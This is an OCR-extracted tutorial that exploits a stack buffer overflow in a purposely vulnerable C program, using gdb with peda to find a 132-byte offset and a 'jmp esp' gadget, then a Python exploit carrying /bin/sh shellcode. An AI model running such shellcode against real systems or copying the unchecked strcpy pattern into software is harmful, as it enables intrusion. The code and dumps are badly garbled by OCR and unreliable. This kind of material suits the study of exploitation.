Stack overflow exploitation

In order to illustrate how the stack overflow exploitation goes I’'m going to use the following c code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__((unused)) not_here(void)

{

system("Is");
}
void metd4(int al)

{
printf ("Last method\n");
}
void met2(int a, int b)
{
int c=a+b;
}

void metl(char *arl)

{
char ar2[120];
strcpy(ar2,arl);

met4(5);
}
void met3(char *arl)
{
metl(arl);
}
int main (int argc, char* argv(])
{
if (arge==1)
{
printf("Parameter is needed\n");
return 1;
}
met2(4,6);
met3(argv[1]);
return O;

The code contains several methods, but the vulnerable codepart is placed in metl with an
uncontrolled strcpy. During the exploitation | will assume that we don’t have the source. The source
is compiled with gcc with disabling all protections:

:~# gcc -m32 -Tno-stack-protector -z execstack -no-pie -Wl,-z,norelro -
static -o manymeth manymeth.c

e |



Without the source code the only option we have is to start to use the binary. Manymeth has a very
limited functionality, it writes a message to the console:

:~# ./manymeth
Parameter is needed

:~# ./manymeth aa
Last method

=

The first step is to force the binary to a segmentation fault error. For manymeth is quite easy by

providing too long input:

:~# ./manymeth AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Last method
Segmentation fault

For finding the reason of the segmentation fault, we’re going to use gdb (debugger) with peda
extension (Python Exploit Development Assistance for GDB) on kali linux. For the peda setup, first we
need to download peda from a git repo and then edit the gdb settings:

git clone https://github.com/longld/peda
gedit /etc/qdb/gdbinit

By placing the following line to gdbinit

# System-wide GDB initialization file.
source ~/peda/peda.py

gdb now has the peda extension:

:~# gdb ./manymeth
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.
html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copyin
gll
and "show warranty" for details.
This GDB was configured as "x86 64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./manymeth...(no debugging symbols found)...done.

Peda provides several very useful functionality for debugging an application. The available
commands can be listed by the peda command:



ELE]
Python Explo
For latest update, check peda project page:
i subcommands, type the subcommand to invoke it:

context

context_stack --
crashdump - -
deactive
distance -
dumpargs -

dumpmem - -

pattern a
pattern_

payload
pdisass

refsearch
reload --
ropgadget
ropsearch
searchmem
session --




Debugging the binary means that the binary is executed step by step while the virtual memory of the
binary can be analyzed (check what are in the memory and in the registers). The debug can be
started with the start command:

0xB80484e6 <main+ll>: mov ehp,esp
0xB0484e8 <main+13>: push ebx
Ox80484e9 <main+14>: push ecx
0x80484ea <main+15>: call 0x8048548 <_ x86.get_pc_thunk.ax>
0x80484ef <main+20>: add eax,0x13f1
0x80484f4 <main+25>: mov ebx,ecx
0xB0484f6 <main+27>:
0x80484f9 <main+30>: jne
Guessed arguments:
--> 0x1

(<__libc_start _main+241>: EL ] esp,0x10)

--> 0x1
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(<__libc_start _main+241>:

--> 0x1d4dé6c
--> 0x1ld4débc

Lo
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(<__libc_start _main+241>:

; , ., value

Temporary breakpoint 1, 0x080484ea in main ()

Peda prints out the code segment and the stack. In the code part we can see the memory address
where the current execution is (this is 0x80484ea) and the next instruction to be executed (call
0x8048548) Executing this instruction is possible with the step command: s. Here you can find the full
list of gdb commands: http://www.yolinux.com/TUTORIALS/GDB-Commands.html

The call instruction redirects the execution to another part of the code segment. It is a method call,
so the execution will jump to the specified address: 0x8048548. Instead of using s we have other
options. Typing until 0x80484ef will execute a series of commands until the specified address is
reached. Practically this means stepping out a whole method. Let’s enter to the function now, to see
what is happening during the method execution. A method can have parameters and peda tries to
guess it. For this _x86.get _pc_thunk.ax method peda’s guessing was 0x1 for the first parameter and
0x0 for the second and the third parameters.

By entering to the function (s) we can execute the method instructions step by step while we can see
the stack frame of the method. The stack frame contains the local variables and the return pointer of
the method. This case we have no local variables but it is clear that the method exits after the second
instruction. The first instruction of the method is at 0x8048548, the second instruction is the ret at
0x804854b. When the program executes a ret instruction, it takes the memory address from the top
of the stack and jumps there. In this particular case this address is the 0x80484ef. So after the
execution of the ret the eip (extended instruction pointer register) jumps to 0x80484ef.



- --> > ("LS_COLORS=rs=0:di=01;34:1n=01;36
35:do=01;35:bd=40;33;01:cd=40; 33 01 or=40;31;01:mi=00:5u=37;41:59=30;43:ca=30;41:
37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)

: Ox0

> Ox1
. Ox1d4d6c

> Ox0
(<main+20=>: add eax, 0x1371)
x86.get pc thunk.a mov eax,DWORD PTR [esp])

0x8048543 <main+104>:
0x8048544 <main+105/:
0x8048547 -
> 0x8048548 (86.ge _pc_thunk. x> eax,DWORD PTR [esp]
0x804854b >
0x804854c
0x804854e
0x8048550 <
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(<main+20>: eax,0x1371)
> Ox1

(< libc_start main+241>: add esp,0x10)
> 0x1d4déc

- Ox1d4d6e

VOV OV VY Y YWY

We can start the execution from the beginning with the start command. The parameters can be
added after the start command:

start AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAAAAALAAAA

There is a possibility to execute the whole program with the run or r command. In that case we get
the segmentation fault immediately.

= BOxc ('\x0c')
: Bx41414141 ('AAAA')
: ("Last method\n")
> 0x0
: --> Oxld4d6c
: Ox0
: Bx41414141 ('AAAAY)
: ('A' <repeats 198 times>)
: 0x41414141 ('AAAA')
. Ox10286 (

<repeats 198 times>)
<repeats 4 times=)
<repeats times>)
<repeats 186 times>)
<repeats 182 times>)
<repeats 178 times>)
<repeats 4 times>)
<repeats times>)

("A
(A
(A
(‘A
(A
(A
(A
(A

. ‘ » value
Stopped reason:
0x41414141 in 77 ()




Unfortunately we have no concrete information where the segmentation fault happened. The stack
is full of the A series, so probably that was a stack overflow, but we need to find which method
produced the stack overflow. For that, we apply the following strategy: the execution goes step by
step, but we try to step over each function (execute a whole function at once). We can do it with the
until command or typing s to enter the function then using the finish command which executes the
program until the end of the current method. Using this strategy we step over the method at
0x8048548 and step until reaching the next call instruction (typing s continuously). The next method
that we are reaching is the met2 at 0x8048461.

-> Bx0
> Ox1d4d6c

-> Ox0
--> Ox4
(<main+66=: call 0x8048461 <met2>)
. Bx292 |

<main+59>:
<main+62
<main+64 (
<main+66 0x8048461 <met2>
<main+71 a esp,0x10
X <main+74 eax,DWORD PTR [ebx+0x4]
X 04 528 <main+77>: & eax, Bx4
0& 304852b <main+80>: eax, DWORD PTR [eax]
Guessed arguments:
arg[0]: Ox4
arg[1]: 0@x6

3 > ("LS_COLORS=rs=0:di=01;34:1n=01;36
+35:do=01;35:bd= 43 33:01:cd=40; 33 01 or=40;31;01:mi=00:5u=37;41:59=30;43:ca=30;41
—3? 44:ex=01;32:* tar =01;31:*.tgz=01;31:%* drc“ 2]
o (< a1n+20~- add eax,0x13f1)
G.X.L

(< libc start main+241>: add esp, 0x10)

Legend: o '
0x0804851d in main ()

By stepping out method2 (s + finish) we have no segmentation fault (see picture), so we can continue.

0x8048519 <main+62>
0x804851b <main+64>
0x804851d <main+66>
- Px8048522 <main+71>: esp,0x10

0x8048525 <main+74>: eax,DWORD PTR [ebx+0x4]
0x8048528 <main+77>: a eax,0x4

0x804852b <main+80>: \ eax,DWORD PTR [eax]
0x804852d <main+82>: s esp,Bxc

Met3 seems to be suspicious since the first guessed argument is the A series:



0x804852b <main+80>:
0x804852d <main+82=
0x8048530 <main+8

- Ox8048531 <main+86=>: call 0x80484ba <met3=
0x8048536 <main+91>: add esp,0x10
0x8048539 <main+94>: mov eax,@x0
0x804853e <main+99>: lea esp, [ebp-0x8]

0x8048541 <main+102>: pop ecx
Guessed arguments:
('A' <repeats 200 times=>...)

('A' <repeats 200 times=>...)

-> Ox6
. --> ("LS COLORS=rs

And that’s correct; executing the whole method3 we get the segmentation fault. So now we localized
the vulnerability somewhere inside met3, but we must restart the debugging and execute met3 step
by step to locate the vulnerability more precisely.

Met3 has the _x86.get_pc_thunk.ax method again, but before that we can see the method prologue:

0x80484b5 <metl+54>:
0x80484b8 <metl+57
0x80484b9 <metl+58>:
> 0x80484ba <met3=:
0x80484bb <met3+1>:
0x80484bd <met3+3>: esp,0x8
0x80484chO <met3+6>:
0x80484c5 <met3+11>: eax, 0x141b

A method prologue contains the saving of the current stack pointer (esp) to the base pointer (ebp)
and the modification of the stack (sub esp,0x8). Inside met3 a new method came across met1:

0x80484¢c5 <met3+11>
0x80484ca <met3+16>
0x80484cd <met3+19=: push
> 0x80484d0 <met3+22>: call
0x80484d5 <met3+27>: add esp,0x10

0x80484d8 <met3+30>: nop
0x80484d9 <met3+31>: leave
0x80484da <met3+32>:
uessed arguments:
arg[0]: ('A' <repeats 200 times>...)

We can also see the epilogue of the method which restore the stack to the normal state (add esp,
0x10) and the leave + ret combination. Probably the metl1 will cause the segmentation fault inside
met3 since there’s no other functionality inside met3. This assumption is correct, so now we know
that met1 contains the vulnerable code and we have to restart the debugging. Let’s jump to the
beginning of metl (using s and finish from the beginning or either we can set a breakpoint at the
met1 beginning by b *met1 then run the program). Metl has x86.get_pc method too, but the most
interesting part is on the following screenshot:



0x8048496 <metl+23>:
0x8048499 <metl+26>:
0x804849¢c <metl+29>:
- Ox804849d <metl+30=:

0x80484917 <metl+32>:

0x80484a4 <metl+37=: esp,0x10
0x80484a7 <metl+40>: esp,0xc
0x80484aa <metl+43>: Ox5

Met1 calls the strcpy function that is one possible place of stack overflow. Executing the strcpy the
stack is now full of the AAAAs.

Ox804849c <metl+29>:
0x804849d <metl+30>:
0x804849F <metl+32>:

> @x80484ad <metl+37>: esp,0x10
0x80484a7 <metl+40>: esp,Bxc
0x80484aa <metl+43>: 0x5
Ox80484ac <metl+45>: |
0x80484b1 <metl+50>: esp,Bx10

('A' <repeats 200 times>...)
('A' <repeats 200 times>...)

v VW

Oxe
(<metl+15>: add eax,0x1452)
Oxe
Oxe
' <repeats 200 times=>...)
' <repeats 200 times=>...)

3:: 3:: \.I_a \.I_a \I_f

It is also fading out that there’s another method after strcpy which is called met4. So let’s try to step
over it. It's fine without any error so now we are arriving to the epilogue of met1:

=> (Ox80484b9 <metl+58>: ret
0x80484ba <met3>: push ebp
0x80484bb <met3+1>: mov ebp,esp
0x80484bd <met3+3>: sub esp,0x8
0x80484ch <met3+6>:

('A' <repeats 200 times=>..

('A' <repeats 198 times=>)
('A' <repeats 194 times=)
('A' <repeats 190 times=)
('A' <repeats 186 times=>)
('A' <repeats 182 times=>)
('A' <repeats 178 times=)
('A' <repeats 174 times=)

The previous screenshot contains the problem. We have a ret instruction, but the return address is
overwritten, because now we have the A series on the stack. But at least we have the information
which method caused the segmentation fault and which part of the stack corruption led to the
segmentation fault. The corrupted stack address is Oxffffd17c. With gdb it is easy to check any
readable part of the virtual address space e.g. x/64x Oxffffd00O prints out 64 bytes from the specified
address.



x/64x OxTTffdooo
OxTfffdooe: 0x80 Oxad
OxTfffdoos: 0x0c 0x00
OxTfffdo1e: 0xd4 oxe7
OxTfffdo18: 0x0c 0x00

Oxffffdo20: 0x00 0x00
OxTfffdo28: Oxeb 0x54
Oxffffde30: 0x0a 0x00
0xffffdﬂ38; Oxb8 0xdo

We need to find the beginning of the AAAAs to calculate the relative distance between the beginning
of the AAAAs and the corrupted return address. The first A is at Oxffffdof8.

OxTfffdOcO:
OxTfffdOcs:
Oxffffdode:
OxTfffdods:
OxffTfd0el:
Oxffffd0ed:
Oxffffdofe:
Oxffffdofa:

The difference between 0xffffd17c and OxffffdOf8 is 0x84 which is 132 in decimal. The exploit for this
particular vulnerability should contain 132 pieces of something (e.g. A) then the return address. Now
it’s time to look for an appropriate return address. In case of stack overflow we are looking for “jmp
esp” instructions in the memory, because it redirects the execution back to the stack, so a code can
be executed there. Fortunately peda has the right command for that: asmsearch

asmsearch 'jmp esp’
Searching for ASM code: 'jmp esp' in: binary ranges
0x080482d1 : (35ed) Xor eax,0x80498e4
0x08048325 : (83ed) and esp,OxTFFffffo
0x080484df : (83ed) and esp,OxTFFffffo
0x08048507 : (e8ed) call 0Ox80482T0 <puts@plt>
0x0804864T : (ffed) jmp esp

0x08048dOT : (00ed) add ah,ah
0x080492d1 : (35e4) xor eax,0x80498e4
0x08049325 : (83ed) and esp,OxfTfffffo
0x080494dT : (83ed) and esp,Oxfffffffo
0x08049507 : (eBed) call 0x8049270
0x0804964T : (ffed) jmp esp

So the exploit should contain 132 padding characters then the 0x0804864f address. Since current
processors use little-endian coding the memory addresses should be reversed (python can do the
trick). Finally the exploit has to contain the payload. We try out the following exploit:

import struct

ex = "A"*132

ex += struct.pack(''<L", 0x804864F)

ex += "\x90"*20

ex += "\Xx31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb""
ex += "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89""
ex += "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd""
ex += "\Xx80\xe8\xe5\XFR\XFRA\XFRA\X2F\x62\x69\x6e\x2f"
ex += "\X73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42""

print ex



:~# ./manymeth “python poc methods.py’
Last method

il |

As the screenshot shows the exploit was successful. Despite of this we can check it with the debugger:

0x80484b4 <metl+53>:
0x80484b5 <metl+54> ov e JWORD PTR [ebp
0x80484b8 <metl+57=>: 1
> 0x80484b9 <metl+58>:
0x80484ba <met3>: ebp
0x80484bb <met3+1>: ebp,esp
0 84bd <met3+3>: esp,Ox8
0x80484ch <met3+6>:

0000 |
0004 |
0008 |
0012
0016 |
0020 |
0024
0028

--> Oxledff
0x90000000
0x90000000
0x90000000
0x90000000
0x90000000
0x46b0cH31
0xc931db31

VOV OV VYV VY

Legend:

' 5 , value
0x080484b9 in metl ()

As it can be seen when met1 finishes the execution it takes the provided jmp esp address from the
stack (0x0804864f). Jmp esp jumps back to the stack and that is how the payload is executed.

> Dx804864f:  jmp esp
0x8048651: add DWORD PTR [eax],eax
0x8048653: add BYTE PTR [eax+eax*1],dl
0x8048656: add BYTE PTR [eax],al
Oxffffd201: nop
OxTTffd202: nop
Oxffffd203: nop

OxTfffdlfb:

Oxffffdlfc:

Oxffffdlfd: BYTE PTR [
> OXTTffd200:

Oxffffd201:

OxTfffd202:

OxTfffd203:

OxTfffd204:




OxTfffd211:
OxTfffd212:
OxfTfffd213:
- OxTfffd214:

OxTfffd216:
OxTfffd218:
Oxffffd2la:
Oxffffd2lc:

xor
mov
Xor
Xor
int

eax,eax
al,0x46
ebx,ebx
ecx,ecx
0x80




